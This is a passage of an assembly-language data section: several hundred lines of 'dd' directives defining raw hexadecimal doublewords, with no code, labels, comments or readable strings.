		dd 0A807DD04h, 606C5C94h, 0F450161h, 83D5C33Eh,	81ACF4A0h
		dd 0FBF95600h, 0FC88AA5Bh, 29183F1Eh, 0BC99DA89h, 2ABD1680h
		dd 0EA4CAFF5h, 65B400A4h, 0AD94CCE0h, 11EE84h, 6BCF555Ch
		dd 90169EF1h, 45BFC204h, 44C056A7h, 0F6EE350h, 2CCC6381h
		dd 0AE20E601h, 0AF69EC47h, 8068453Eh, 4FC68662h, 359DE4Dh
		dd 649A9FAAh, 0F8A984F7h, 8E5C34B3h, 0DF58F900h, 0EFE94A6Ah
		dd 5B5358EBh, 89249B26h, 3000064Ch, 0C859FEDFh,	0FDC3F3Eh
		dd 0C0FB1483h, 38C43ECAh, 0E7C7768h, 0E3818877h, 0E59B6480h
		dd 0B61F6575h, 79C06CFAh
		dd 0E107C8E8h, 0DF40E105h, 7DD68EEh, 637770D1h,	4B6CE019h
		dd 0D400C659h, 7B6A6784h, 1E421581h, 819E5EA3h,	0BF408D34h
		dd 0AED1E454h, 63F88600h, 0EBFF57B3h, 4B1903C6h, 0CC4F8714h
		dd 0A0A36FA0h, 0D1706200h, 0D08F8EF9h, 66B73071h, 0D3A253CCh
		dd 852648E8h, 5C00CC39h, 8AB61069h, 76E209DAh, 0D080C01Ah
		dd 0E942B336h, 10CDFE30h, 0B8BB53CBh, 0D68D0239h, 648630F0h
		dd 6AE66CC0h, 599AD105h, 0D400BDE1h, 0AF142A4Bh, 68E32D1Dh
		dd 8027C340h, 0CF406A00h, 0E1249F9Dh, 0E2E40EEAh, 0A340C057h
		dd 89521B13h, 2019BC00h, 0A428385Ah, 3D030BB2h,	0F08ED287h
		dd 0D4A0FC0h, 650051EAh, 100108F7h, 0F2189AC7h,	747D7DB8h
		dd 0FD33035Dh, 9036855Eh, 0E748A8C8h, 35844000h, 0D40AEEEBh
		dd 1F5F84Ah, 0F397FE1h,	6081D204h, 0BD74FF9Dh, 55A85F00h
		dd 4A9BC2D0h, 0EFB80041h, 8F13E295h, 1C0EC5D3h,	0A010C0D2h
		dd 5BC74C79h, 0CAAE00BDh, 0E3847A80h, 6A2612A7h, 350AD42Fh
		dd 470FE8B6h, 0AA92212Ch, 75C9DB53h, 6D424h, 0E3D584BBh
		dd 617C9742h, 15007FECh, 6E9840D7h, 0F2AB670h, 3922C230h
		dd 0A7963240h, 0E73DBE93h, 972D00F4h, 3BAD3C6h,	267172D8h
		dd 58A930h, 0C377E72Fh,	0BC988779h, 84630600h, 8E9B2293h
		dd 8B24171Ah, 0ED4C406Fh, 6A0D2056h, 0CDA940Eh,	77CE8442h
		dd 0B062080h, 0D0F872h,	0FEB6F9ABh, 0D2DA7941h,	33A03Eh
		dd 7A118E40h, 0F010CA4h, 737175EAh, 6AA7A180h, 40A148F3h
		dd 3558830Bh, 0E8814326h, 50F2B447h, 0F9711060h, 7F0C689Ch
		dd 150C66A8h, 98742CE3h, 47050939h, 0D00C7ABFh,	0DD4C1F90h
		dd 0C77C4F17h, 2A8A9447h, 292F27C1h, 5B2570h, 0B7A51562h
		dd 30E57E2Eh, 0C55CC700h, 6AA6B280h, 0BA1C00A8h, 0E716FEB5h
		dd 0DCE72D19h, 4A00F5DDh, 36116B8Fh, 0EE34E575h, 1FC901DAh
		dd 0F9BC883Bh, 12A804Bh, 1CDB9C5Dh, 0AF5B0F30h,	0B920929Bh
		dd 0FBFA389Eh, 0A09A7200h, 3EF0066Fh, 4E2B2AC0h, 7F9101BCh
		dd 0F2EE9F76h, 280470CFh, 31D32C17h, 201A420Fh,	0B044540Eh
		dd 0AA7101D5h, 0AFEFF1B8h, 2CC40B4h, 840E43CFh,	65D19178h
		dd 0A44038FFh, 0ADB71BFDh, 0A16100C7h, 189F88A4h, 1F205BDFh
		dd 76900023h, 49F2B17Bh, 0BF091B07h, 10F6F56Ah,	18A6D64Ch
		dd 405F0F81h, 0A90416E5h, 69B96EFh, 0C1226400h,	2D0077A5h
		dd 24A10DB2h, 1FD58E51h, 6C0CA28h, 0E9402CA6h, 6E817300h
		dd 0D20CFBD4h, 0D59056h, 0ED099882h, 7FEFA8E9h,	422A2218h
		dd 0EEC33D31h, 0A60A2697h, 0D42C01CCh, 0D1C46822h, 0EA3BD871h
		dd 492B7418h, 3A08131h,	5648DE96h, 9EFBF56Bh, 0EF1DA906h
		dd 29D690h, 0C2A91E5Ah,	0D943F559h, 0AA7B5712h,	0C95BF083h
		dd 6EC0FDC3h, 9AA60079h, 0DE7A9CF0h, 81001066h,	6D24DD26h
		dd 0F0D8A70Ch, 35210074h, 693EF215h, 0CA0EB3ACh, 80B48CA8h
		dd 4408858Eh, 90E70147h, 2AAA7A3Bh, 308988Ah, 0DB7621h
		dd 0D74F8647h, 6FBF1E8Bh, 3E131800h, 0D4530AFh,	0FB3031Dh
		dd 0A986DCAEh, 0A53E388Eh, 2FBB84CFh, 7DC12EBAh, 0BED12D6Ah
		dd 0D9EB218Dh, 0B7C0DA3Ah, 0A01471Bh, 4F2C26AEh, 90218B7Eh
		dd 938000D7h, 1CB7A804h, 2C1B27CCh, 1D207AA7h, 14B28549h
		dd 428068FEh, 8B93F147h, 680D448Ch, 0E947D900h,	0EA5F149Eh
		dd 62A76FDh, 90FCA898h,	350068B4h, 8A1BBF2Dh, 309CA0ABh
		dd 3318A534h, 3741BB25h, 3B8FA400h, 1083F773h, 9D52E634h
		dd 0F43DB2D9h, 2026D4Eh, 0F2A7CF1Ch, 54ED80EBh,	0E967F4h
		dd 8CDFEEE5h, 0C62B07E8h, 3A335B00h, 324782FAh,	3DF40092h
		dd 89B5686Dh, 3C00CA1Eh, 0F3600AD3h, 0D90950h, 0D4A95785h
		dd 15C83206h, 0E46F2203h, 0FF03FC99h, 0EA2EB6A0h, 34350750h
		dd 3320AC8Eh, 0BCD053A6h, 0AD000B2Dh, 0D96B5AF0h, 4C44E869h
		dd 47002F3Dh, 2555405Dh, 190087A9h, 3FF14EE6h, 797CFCB6h
		dd 6D29008Bh, 28306CDBh, 0EC00CD17h, 5334B26h, 240453D2h
		dd 1F3FAC13h, 80F7DD8Bh, 635BE2F6h, 0DC0F86EEh,	8031489Eh
		dd 341CCC90h, 3B360012h, 7B2C7858h, 72038FE8h, 117E3C97h
		dd 5E201015h, 0AFE43C42h, 620FCE9h, 11E0E71Eh, 2B7B4700h
		dd 556F6756h, 57623193h, 80124808h, 28632220h, 7F22FBFh
		dd 2021CC58h, 4019E0C7h, 0AD07D259h, 0FEC07EC3h, 71A85816h
		dd 0FA4A0084h, 0E55BF73Ch, 91C1D1A2h, 0A558FF3h, 40E7A89Eh
		dd 57A53D49h, 400C23D6h, 8526E16h, 0AB21C142h, 0D439A525h
		dd 0CC00FB59h, 713E6484h, 3CC6AA09h, 0EE094CD2h, 286D17Ch
		dd 0AC48E834h, 98C03C0Fh, 2F915DA6h, 0E50B020Ch, 72AA2DEBh
		dd 0AD04E05Dh, 0A9380046h, 0C845FF1h, 6D01CCFFh, 45BD613Ah
		dd 0B8CC1D43h, 0FC2EC83h, 97CD7E2Ah, 2F405B00h,	6600164Eh
		dd 77BDEB01h, 0C06DB9h,	0E379F9BAh, 0CE7E2DC3h,	34E4800h
		dd 6C604A1Ch, 6F1E0DF3h, 1F11067Ch, 0E93BC304h,	621003D0h
		dd 0E0AD78Fh, 0E3E0BCE8h, 0CD25A00h, 0E5BD8914h, 209260E6h
		dd 26618EC7h, 9E56C800h, 7F84BE40h, 55BD0E33h, 1AE048C9h
		dd 3D70A6B8h, 72F50101h, 0B76D9434h, 9239F4h, 93CA48A5h
		dd 10C14A77h, 355DAB00h, 0FA578A5Eh, 0C5BD1CB5h, 0B817008Fh
		dd 80D051CDh, 122FDC00h, 0E9480EBFh, 703500F2h,	0AF4A501h
		dd 1B7B3219h, 368AD800h, 0C11C73CEh, 503F0049h,	0D00BF5BDh
		dd 3E01A5DDh, 0E0B44E53h, 0E2FC1146h, 1370703Bh, 38095F1h
		dd 0FEAA5BAAh, 5E884A0h, 91DA3100h, 572FDF6Ch, 700F0029h
		dd 56277F32h, 500ECB2h,	14E84577h, 28A853B8h, 0F3CDD2h
		dd 0D8BFF4B4h, 18E568BDh, 0A5467800h, 0C1016A86h, 58A80029h
		dd 4860DBD4h, 40C1E608h, 0B9490B1Eh, 1E3DD1E4h,	3CA6FAA9h
		dd 8180A0BEh, 43DB7F71h, 0F303294Eh, 8030147Dh,	0C70FA776h
		dd 70D0860Bh, 17DDB80Ah, 0C5BF22h, 49F1A346h, 0F4A063B1h
		dd 0C0A9B6A7h, 0EE8AF082h, 0CD749501h, 40585448h, 0BFAC81EFh
		dd 2B0C40E2h, 0E9E081h,	37B7F3F9h, 0B4A59D74h, 9018827Eh
		dd 3AE8390Ch, 0F69A0035h, 1F5E923Bh, 9033767h, 39D069BEh
		dd 8D1B00Eh, 0AC1200C3h, 553F59B0h, 7E00115Dh, 905B0DC1h
		dd 0FDF20Ah, 0F6E7AE97h, 5F4BAF5Ch, 1C00A27Dh, 0C65D1AAAh
		dd 3E0729h, 9C6C03D8h, 0ED4CD00Eh, 1742B100h, 0D147415h
		dd 0DA230056h, 0E877C378h, 84003D61h, 1FBB2D5Dh, 0F21B3D3h
		dd 0A1325087h, 6E143300h, 5C4C63ECh, 2B731691h,	892E8100h
		dd 0FAD14498h, 0A041FF50h, 5510BE93h, 5D0718B7h, 0DB4DD196h
		dd 0A9A3FB90h, 4BF01Eh,	6EB62D59h, 3C205B97h, 0A7006A98h
		dd 58318F27h, 0E1672Ah,	29CF0B1Ah, 2C32BAA5h, 6F3D7212h
		dd 0F17C446h, 0BFB203D9h, 0B327D6Dh, 4EFB7198h,	0B8722200h
		dd 73134FD6h, 477595h, 0E39C05FFh, 92C93EB3h, 4ED4A700h
		dd 3AAE5F0Dh, 1EC60002h, 77AADC45h, 8300DAB6h, 21C0065Ah
		dd 48790BB0h, 2C01B00Eh, 0D59863CBh, 0FAF08418h, 914F6042h
		dd 0AE708203h, 0A0841088h, 7B078BFEh, 773B087Fh, 9C891540h
		dd 69A8001Bh, 64678241h, 3E03AE49h, 2C6DF13h, 0A8ADE994h
		dd 381A1EDCh, 0E08522FFh, 0C0C0F6DBh, 7B908847h, 9F7C8300h
		dd 68C81A7Fh, 221B0093h, 88F14657h, 5E0094FCh, 0C18DFA23h
		dd 682CF8h, 135B2E17h, 0CD27810Bh, 3158FF00h, 35A85CB6h
		dd 3CAE001Eh, 0CA32DF61h, 0BC720D28h, 1F4C6700h, 0B4FF968Ah
		dd 8CA40073h, 37DBF255h
		dd 2C2833D6h, 380F9BEBh, 0BC76523Ah, 7A9B600h, 23EF8Dh
		dd 0F3C25A7h, 8582ACE1h, 58A6AA0Ah, 0FB05E0D5h,	3810C66h
		dd 8C2073F3h, 871A002Ch, 0C74A13D4h, 0B7009FBBh, 0E928B279h
		dd 0F66CC15h, 89CD3497h, 0F23151A0h, 63004792h,	0E3E1177Fh
		dd 0FAEDEEF1h, 0F4CA50EFh, 0D2D4F9E2h, 0DB70344h, 45AA81CBh
		dd 800119D3h, 92F5BC0h,	4680555Ch, 0AAE22D98h, 0B2005D11h
		dd 0BBB8D85Eh, 0E48DF5h, 54D0408Bh, 6BD44CDDh, 0A099E70Fh
		dd 3B5C0057h, 870C6Eh, 987ABEF6h, 0AF327F73h, 0D71DF301h
		dd 0C4586FA8h, 0D24E40DAh, 5EE300CCh, 29F95CA3h, 3B0052ACh
		dd 769E55E8h, 2485F0Ah,	95EF5446h, 0F9C0FC66h, 1C162C28h
		dd 40403CF1h, 84F253E8h, 0F0F40029h, 89C53FFEh,	6A05E0F1h
		dd 6774265Bh, 84DBAC23h, 0E7EB200h, 7A738BADh, 0F77FF91Ch
		dd 0B38764C7h, 204F24A7h, 0EF582EABh, 0C56D0040h, 0BE52D738h
		dd 200FDB59h, 0C001995Bh, 185131A4h, 0AE3500E7h, 8D7BDA82h
		dd 9700B2F4h, 59A32B8Eh, 0D5E507h, 1B28F950h, 0AA4580A1h
		dd 33007A73h, 0B46C1943h, 0E194F2h, 1B03BAE8h, 0F9FE4909h
		dd 82F75501h, 5C26D169h, 4F6FE8h, 0C64C50A4h, 0F008DA11h
		dd 2436EC2Ch, 95538E00h, 2824B5h, 7262CCF5h, 15789444h
		dd 49B09700h, 9837B4F1h, 0FABE02EFh, 151D3DDh, 0BCDFE040h
		dd 0D2E74801h, 6E5DCACFh, 719330h, 7066ED39h, 502B9765h
		dd 0F56AA000h, 62ACCCCFh, 85C30089h, 4393EE5Fh,	9F0FB5C2h
		dd 80050BA3h, 2D0629F3h, 0C4F91E03h, 67814F07h,	39509EE0h
		dd 1100CD05h, 0A6AF9989h, 0B83B4h, 62FB774Fh, 2C261A71h
		dd 8F96B000h, 0CA13C670h, 0B6741C6Dh, 61EF804Ah, 4DDA2AC3h
		dd 8C03C190h, 2E588B3Ch, 6A67A86Fh, 3EF49Ah, 14B99B41h
		dd 3297A905h, 57C2CD02h, 48D1719Ch, 4CBDC1Ch, 381BB721h
		dd 0C5C8C0A1h, 0CEB0EE04h, 48D2930Bh, 7A3600A8h, 448118h
		dd 751F8BAAh, 6751E657h, 0EE8FD903h, 0D01AC6A9h, 0B3D7C86h
		dd 0BDABE322h, 3A558021h, 6D9474ECh, 861DA307h,	0A241A4F9h
		dd 18995A08h, 0F19310FBh, 12A214Bh, 4003E318h, 8C493B24h
		dd 813C1900h, 0B5FC858Fh, 2E9F308Ah, 5CFAEC18h,	0AE3BB89Ah
		dd 0D11A18F0h, 3EBCCED2h, 0DB00676Ah, 87237079h, 0A0A6D7Bh
		dd 1CEBD57Eh, 7047C987h, 0E242D993h, 0D10C83E7h, 793B90A2h
		dd 0FA197B8Fh, 73D20BEFh, 8A874AA0h, 39826348h,	0D15222B0h
		dd 99444Ch, 0B78F2D72h,	0EDA698h, 695A7E56h, 0D8B5A197h
		dd 77124300h, 758699CAh, 9C0A006Eh, 0F2E8EC6Bh,	8AE29855h
		dd 72038702h, 60898CF7h, 0CEC965h, 7941DD0Eh, 4677CB91h
		dd 0D4BF5528h, 9F005873h, 0B5E8C9E1h, 3FCE2DA3h, 2F8057A6h
		dd 94B4F287h, 48E24247h, 19D05100h, 0E98F61CFh,	0E0740001h
		dd 237C02A0h, 0B198E753h, 0A4B5DF00h, 9E9A9D61h, 0C99400ADh
		dd 0FD997058h, 0E53E1A75h, 27240032h, 0CD5BD009h, 0BDD4A0C8h
		dd 197CB13Ch, 0C74D0832h, 0D9A3CCE0h, 0F44A19C3h, 0C00801CBh
		dd 50C89478h, 401DEBE4h, 1E20BA03h, 406ED2C1h, 68E345ABh
		dd 71EB4B06h, 0A62182E4h, 4867625Bh, 5C030E64h,	290430A3h
		dd 0D1A0C75Ch, 4199BDE8h, 0BAC2AA48h, 0A25B1848h, 0DD5321h
		dd 886E5820h, 75133AFDh, 16C8AF0Eh, 2FE2C14Dh, 5892A194h
		dd 0BB08205Dh, 0D201CF4Fh, 5B728540h, 74C0DC32h, 0DE47ECCAh
		dd 61A49890h, 206EDF8h,	3C7562E6h, 887E5040h, 4A092003h
		dd 0E982D201h, 6E01D52h, 1E4063CCh, 4C884FFFh, 0E848FCC9h
		dd 869CCF55h, 0A3E15D80h, 0A6CC2461h, 81F60129h, 91CA6835h
		dd 7803A081h, 20CC2555h, 705F9880h, 0C2F19600h,	0E27AEE0Eh
		dd 0DC621406h, 0D4449C45h, 4749445Dh, 26AD2301h, 683711D0h
		dd 55E0BCCDh, 0C95810CDh, 2EBD15F5h, 5C72C1F8h,	50410BF8h
		dd 2180615Dh, 65B4E4E3h, 0F2009387h, 0EEE85CEDh, 7D952E1Eh
		dd 0ECB00518h, 80C36897h, 67DD13B6h, 368CB53h, 0E7F16E69h
		dd 9EA1F12h, 5F05C078h,	0AB9E8E73h, 9136FA14h, 0C1A308D8h
		dd 0B940327Dh, 9F6AA521h, 1A2860h, 0E18A961Eh, 8B0A1688h
		dd 0F08D10Dh, 5841D8EAh, 0C210EFC3h, 200641EBh,	5D22BD2Ch
		dd 0C00990D1h, 0A5FF8F21h, 6E3E4354h, 0C510635h, 2189A1E6h
		dd 0A21147D9h, 7B508000h, 40BA7F66h, 0AF53A909h, 22901BDEh
		dd 1A007B61h, 0ACC77D89h, 0FF7799B2h, 0C3377C20h, 63C0A330h
		dd 74EB2924h, 0FA157C83h, 7029655Bh, 0ED8808CBh, 0A9514588h
		dd 98BD04D0h, 7C3B4A5Ah, 0ABAD7700h, 0C868A4D8h, 2B837618h
		dd 0C06E98F9h, 64CB53h,	45FA7754h, 0D40422F0h, 0F12B6F32h
		dd 1B15279Eh, 825F9384h, 8490FEDCh, 4303EFEBh, 220792E1h
		dd 0AA610170h, 6DB0FC76h, 0F6B07A61h, 0D5EEE1h,	0A7B39B56h
		dd 1949EBCDh, 44CAC824h, 0D104038Ch, 3F957301h,	0BB001588h
		dd 87A3D8EAh, 0E4266A82h, 390CE6B6h, 0D76945h, 36CD8670h
		dd 0D340AB28h, 95A87303h, 300883D5h, 5FA8B850h,	6A523FBCh
		dd 767C2290h, 0F90F00FDh, 660273C6h, 277F1115h,	4E8E4D00h
		dd 8672A93Ch, 0FC6348AEh, 309D48Ch, 0B0B180E3h,	0DD0D5586h
		dd 2FC83DA1h, 52F40C80h, 74777817h, 0CDBE8B26h,	7C46BB13h
		dd 289475Dh, 421B89F8h,	0D08F11D5h, 7C99E0A9h, 5A110B98h
		dd 0CA600A1h, 9A38B164h, 12E0FEC8h, 43CA9D55h, 0D11E45B8h
		dd 0E0A153h, 40080EBCh,	0C2B7CEh, 0B6345E52h, 0A6ABED73h
		dd 0E82A6900h, 0B4A892AAh, 0AB7E4F7h, 0A1C83A48h, 24A86880h
		dd 6BE66364h, 704612A4h, 11D55Bh, 926CD9D4h, 823B2794h
		dd 4E8FD703h, 11151E73h, 155C54E1h, 0FC87E3Bh, 0C0946BB4h
		dd 0F98C4419h, 0C059C2E9h, 0A0A3A703h, 83B05398h, 0E824F118h
		dd 5AC39CCBh, 918100D6h, 692DE031h, 5D013F78h, 0BBBEEDA3h
		dd 0AC26B998h, 0F6897E3Dh, 4411CB44h, 0A86980AEh, 0CC266984h
		dd 19A4FC70h, 0F9468F05h, 881009FBh, 0A4DE3D45h, 0B27044B8h
		dd 28002571h, 9BDCB3E0h, 5814858h, 63293927h, 4FD2C5BCh
		dd 20B545B4h, 0B4DCEAD8h, 842A1301h, 2EE19461h,	6DD8EF0h
		dd 4BE6F66Bh, 3D22412Ch, 357E2019h, 88087258h, 0F2E3805Fh
		dd 9D03D9E1h, 0F2B90930h, 0EAC44B5Ah, 0A22924CCh, 213B9234h
		dd 0D451B2B0h, 0B803437Ah, 27C342FEh, 0CC1BC044h, 0B440826Eh
		dd 6D4088DFh, 899F6F5Bh, 24427360h, 3D00A805h, 0BF6C90E0h
		dd 1C412ACh, 1FA3A6D3h,	0C44911F1h, 3CB163A2h, 8050A511h
		dd 0C4CB341h, 4D115B5Dh, 65E3F50Eh, 6728224Ah, 0AA24E873h
		dd 8AB502E2h, 4E38303Ch, 0B4388864h, 781A8022h,	0C61EF771h
		dd 14915Bh, 0A67515ECh,	0B2002FC2h, 22C5805Dh, 699F7F8Fh
		dd 0B02299A1h, 5D21492Eh, 5441A2C5h, 51154D23h,	9DC0847Ch
		dd 0C51A9322h, 0D67B4100h, 3B44E3B0h, 0F91C0181h, 9EFFBCFCh
		dd 45742454h, 28E43753h, 0C05C284Dh, 0C85C4C84h, 0A25E8078h
		dd 9ABFFD12h, 0C2AE4516h, 44707008h, 23D1407Ah,	1D137D46h
		dd 79AA2F8Dh, 0A2E89004h, 486092B6h, 0C800CCE6h, 0C1DC2E5Eh
		dd 0AB5D6251h, 0F5B7E0D0h, 15767849h, 90E726C3h, 8A5B3FC5h
		dd 0A1900240h, 40A2FD96h, 91F85D10h, 50D3169Ch,	0B6C71894h
		dd 468E03E1h, 904498E4h, 41EAE700h, 0FDEE798Dh,	13C63C77h
		dd 99469F06h, 0AE03B935h, 544FEBCCh, 0A37FD994h, 0E0F0A210h
		dd 0F42C1DF2h, 0E873D0CBh, 6C37678h, 6527F124h,	265DB090h
		dd 90BC8AF8h, 4B5780BBh
		dd 0B93AEFE8h, 8430489Fh, 0F58DC8Ah, 9CB4AFE0h,	592153C0h
		dd 1F577CA3h, 2D0318F0h, 54FCE11h, 0F9A65B24h, 11F6C19Eh
		dd 0DAFC400Ch, 8108E7B4h, 0A5A4F51h, 121C1F45h,	0C00C245Dh
		dd 29909FA9h, 5B2C0B00h, 9CDC5CACh, 57D219FCh, 33CFC0EDh
		dd 0F95D1598h, 5045CAC8h, 0CC067290h, 0D97139A6h, 818E8500h
		dd 0FC5B4146h, 2CA900C5h, 56C249FAh, 6838E831h,	0C75C9D20h
		dd 0F3635C6Eh, 4845A4EAh, 8A456A2h, 4947EE68h, 0E0F8AC48h
		dd 4C3AADB5h, 0BF0384Eh, 9EC60512h, 0BB51DE29h,	0C0AAE687h
		dd 0E3202F80h, 25CDACB5h, 488F9362h, 0C3A6FE9Eh, 164A06Ch
		dd 0C726AF25h, 0F3D78685h, 84C0C1F3h, 0C021991h, 0B30D6C9Eh
		dd 0F06449h, 0B4BE82C0h, 142F7F8Ah, 3DBDC313h, 0E43B0822h
		dd 0E76D01CCh, 3EF0F248h, 86998110h, 0C5C8C136h, 0A1247BD4h
		dd 4C2DF574h, 86FAEC0h,	3E4AC471h, 0D38569C0h, 0DE650A63h
		dd 384142h, 340F0907h, 0F801EC5Bh, 7940C3C7h, 12104C85h
		dd 8A3EBD10h, 25D0A019h, 38236CE8h, 49005A5Dh, 0BE9B2F91h
		dd 2C71E26Eh, 67F48CD1h, 2959D6BDh, 0BBA9AA01h,	0C8D1C9DEh
		dd 20535C52h, 81DD4DE2h, 13542100h, 0B4E92C28h,	8C5B3CA1h
		dd 18126DB8h, 0DC788868h, 5C31E245h, 4451385Dh,	18466B5Fh
		dd 5CCC5491h, 0F3B7249Fh, 3C6D00F1h, 0C8C32A53h, 0A88074B1h
		dd 1CF6C9A1h, 22E4014Ah, 8D6D6556h, 0BE81CC43h,	4611A26h
		dd 115EAAC0h, 0BCF51CA0h, 20A1E5CCh, 7ECB4AF3h,	3BE51A81h
		dd 3006E822h, 11819AE0h, 22982954h, 595D4544h, 486D886Dh
		dd 202650h, 54AFEF3Eh, 3229B8D7h, 0D4189246h, 0C447CC4Ch
		dd 0E088E826h, 0FB908C4Eh, 517ACE03h, 0FBD6CCC9h, 952FB805h
		dd 525D8030h, 0C56691C0h, 84FEB3h, 0A6B4B5F2h, 7C9868E3h
		dd 65F60D05h, 0C0766380h, 98AC88h, 56AED711h, 2417915Eh
		dd 6EA6DD00h, 86D197C3h, 62FE2EF9h, 0A5038C60h,	0C400E8E9h
		dd 0AD6E1404h, 0B80E1618h, 688D59B6h, 74C9007Ah, 0F3A2A0E6h
		dd 64B9CA50h, 0A6582020h, 0B0007A40h, 2FFA80D1h, 9C75FF93h
		dd 543F885Ch, 966C10A5h, 223D0E13h, 7438EB7h, 0ADD0ACB1h
		dd 0C3A7BA4h, 0B9A580E6h, 0B7ECB5A8h, 8EF4B8Dh,	28AE63ACh
		dd 8244584h, 895EB0C8h,	567C46Fh, 0F8A15A00h, 5B109612h
		dd 0E8474DBBh, 62204097h, 3696D335h, 0C96B5D1Ch, 1C421148h
		dd 0B1047BAAh, 0C804839Bh, 0FC1E6388h, 0E2802A99h, 1287E338h
		dd 2B350C73h, 0C0997EF7h, 884D7B00h, 0A308E4E2h, 123278C3h
		dd 4EBC5AACh, 7E2041A4h, 7C3BC5C1h, 9107D4FEh, 6F0373FAh
		dd 4E6C254h, 0F6430D00h, 0AFA128AEh, 518DD100h,	1183F2EFh
		dd 58D3096Ch, 40101915h, 0FE01E3AAh, 3DED0C1Eh,	5192A365h
		dd 0EE182832h, 775E9C07h, 6BE08AFDh, 0F0E27C1h,	4581DEC4h
		dd 3F097362h, 1840A224h, 690F3B8Eh, 5A002775h, 0BAF08F78h
		dd 0C936E147h, 20914B58h, 0C0C0127Eh, 0E0E369C4h, 0B9641348h
		dd 0BDFC451Ah, 0E3D8CC21h, 162E4686h, 0A0214ECCh, 0EFC470D6h
		dd 8DB810h, 25972E4Fh, 320C7CC5h, 0CB0194E4h, 0C2A8C919h
		dd 0CDD0F533h, 21E409EBh, 1C90D379h, 9B040886h,	0FE45BF7Fh
		dd 88BB80F4h, 36007091h, 0CD4D8C29h, 7151ADD0h,	50A505F1h
		dd 0D868A178h, 8AA0ABF0h, 0F413FD31h, 4049C937h, 0CA60C839h
		dd 5F3B0201h, 6F9976EDh, 0BF3281C0h, 7B352200h,	3A786111h
		dd 36C9150h, 97280FC0h,	44C425F2h, 382E909Eh, 0CCA50AEEh
		dd 1AAECC80h, 3FC840EFh, 8B3B42C4h, 60FF72A8h, 82CB8944h
		dd 6948BC8Ch, 0A25684E4h, 17EE2859h, 0F48FEAC5h, 0BDA88609h
		dd 8954E780h, 373BF924h, 0C86D8E8Dh, 0F88504D9h, 26E8CCCCh
		dd 1868BF7Eh, 23BDB9CBh, 2698989Ch, 8B73DD79h, 0BAD022h
		dd 0C6E0B72Ah, 0CDEDF475h, 320BA309h, 0AAB498CBh, 0C9E300E2h
		dd 0DC538F27h, 294C930Ah, 4498843Ch, 6EC75D42h,	0A111F465h
		dd 6BEC5100h, 287E149Fh, 0F019FB26h, 0B0A16F65h, 0BD006C37h
		dd 0A01F3116h, 0F3133066h, 0A8905833h, 345E40Ch, 1288ACA9h
		dd 70B8759Ch, 581322A4h, 0BC34C2ADh, 37120280h,	0AE790143h
		dd 5E5E7BBh, 0C7B85369h, 28F15107h, 1F4013D7h, 90D2AABh
		dd 68F8D25Ch, 0FCFC8C46h, 0F613CE01h, 470ED585h, 7C029055h
		dd 44C8825Ch, 68F9002Ch, 4CE7AD87h, 89AF7A2h, 0F6577044h
		dd 1DF93FCFh, 63423080h, 9593D59Ah, 0BFF56112h,	7C86C41h
		dd 0C78C3DFh, 0E49234CBh, 83009C71h, 0ED0EC981h, 0E463F98Ah
		dd 0A0304B27h, 8700E161h, 6FA59BE3h, 1CEE3Eh, 72B9A94Ch
		dd 0F6125DCDh, 82C17B60h, 149C3054h, 8039C98Dh,	805CF292h
		dd 5AA8F436h, 4FE0A8BAh, 1F0C0153h, 79E12667h, 6931D452h
		dd 36073CFEh, 0C1C94D65h, 0A8C0E0B0h, 0D19AF973h, 288479D3h
		dd 52CA425Fh, 417889C2h, 0A841B25Ch, 71809D5Bh,	4EC491E4h
		dd 262633AFh, 0A34430CEh, 12174Eh, 369178E6h, 509468ABh
		dd 0E9D38F60h, 0BE582450h, 6CB02554h, 0C997CAAh, 2F09DC81h
		dd 91BCB9EEh, 0C53EC11Eh, 0A7C32632h, 2FCC1D58h, 7A10C201h
		dd 0E210C308h, 520170D2h, 0F3AF4FF7h, 0B079CB3Dh, 4F9B680h
		dd 59F6BBD3h, 2E2CE482h, 219705Ch, 9846802Ch, 0DC7EABE1h
		dd 63B81E4Fh, 685E0EE0h, 0DB365C22h, 4BE8AAA8h,	0ABB82C32h
		dd 0EB101100h, 87FF02Ah, 96780064h, 0D1A99CEh, 9F055D04h
		dd 0B7AFDC33h, 0D804A024h, 0A8C931B2h, 663DC2D3h, 6A622D08h
		dd 0CC180C1Ah, 8701A65Ah, 6A9646A9h, 845CD3BDh,	52DC0118h
		dd 0DD717CBBh, 5CB08A45h, 0BD05206Dh, 34094686h, 53B062FAh
		dd 80418040h, 0C4A6F5DBh, 0C8C06096h, 0BC44C5A3h, 7764088h
		dd 6804CBB5h, 3ABDC35Bh, 0A872A0DDh, 325C9E00h,	7F27FAF4h
		dd 0FDFB4339h, 49B92616h, 0C08250D4h, 733B2257h, 0FEF64881h
		dd 2C5060AAh, 0DE89FA00h, 597CE25h, 416A3029h, 2EF8F041h
		dd 141C21E5h, 59780140h, 8981ADA0h, 514D2961h, 74CE8034h
		dd 9ADA52F3h, 7C38B341h, 42E9CC80h, 80090E5h, 77B5ACCDh
		dd 4BF0AB65h, 5D347272h, 9D00E052h, 176F55F2h, 0B9C215CBh
		dd 0A16D6228h, 0A31C2011h, 1166DE30h, 12721545h, 16B5F0A7h
		dd 137860ECh, 730393A4h, 479B197Eh, 0E67190E9h,	80B145C9h
		dd 0B092A699h, 1C0B90CDh, 6FACBEAEh, 17A30811h,	94E824F0h
		dd 6DE6139Fh, 2CC252Ah,	9F0AE81h, 0FCE35C61h, 7724F8F3h
		dd 0A65090CAh, 20584E24h, 916B8DBCh, 7D168E00h,	2D4AAC3h
		dd 53F0368h, 4FDC25A9h,	9E98D809h, 0ABB4E8A1h, 12547CD9h
		dd 0D253DEAAh, 60F7E698h, 0BE2CB42h, 1A9576B3h,	27BDFCC8h
		dd 5D06D899h, 9B98D7E6h, 0E9D502A4h, 0FCE080FEh, 0A212FD01h
		dd 0F06262C8h, 1CD95Dh,	2D59B4CCh, 549CC71Ch, 0AF1144E0h
		dd 50E400B8h, 3EA5DAF0h, 0DB024525h, 0E92168EDh, 0A2FC7B86h
		dd 0C2E144E8h, 1829AA12h, 0F11CEC33h, 0F6D11641h, 0BECB7BE0h
		dd 823D90C8h, 63CAC8AAh, 0A252B1A0h, 0C3A39989h, 9D407051h
		dd 11270D0h, 1C33413Ah,	0E41E08C9h, 0D50D2A18h,	0E907E5E8h
		dd 89E22C43h, 0C831225Bh, 0FC941C2Dh, 3A234981h, 56C61071h
		dd 0D5670775h, 0C08AD9BCh, 0A8B8B733h, 42FD1000h, 0A1955B0Ch
		dd 0AA48C05Eh, 0DBA28513h, 460B6893h, 0E36491A3h, 7474384Dh
		dd 0D20703FAh, 78D41BA2h, 5F612FA0h, 0A7BD8F1Dh, 47505407h
